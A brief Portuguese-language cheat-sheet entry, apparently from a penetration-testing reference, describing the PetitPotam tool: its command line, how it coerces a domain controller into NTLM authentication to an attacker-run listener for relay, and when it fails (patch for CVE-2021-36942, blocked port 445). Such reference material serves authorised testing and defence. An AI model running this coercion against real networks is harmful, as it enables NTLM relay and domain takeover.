PetitPotam

python PetitPotam.py <listener-ip> <dc-ip>

Força um controlador de domínio a autenticar contra um servidor NTLM usando o protocolo MS-EFSRPC (PetitPotam).

Quando você quer capturar hashes NTLM do DC através de um relay. PetitPotam obriga o DC a autenticar contra um servidor NTLM que você controla (ex.: ntlmrelayx). Isso permite relay de autenticação do DC para outros serviços.

Se o DC tem patches de segurança contra PetitPotam (CVE-2021-36942). Também se o firewall bloqueia a porta 445 ou o DC não tem o serviço RPC exposto.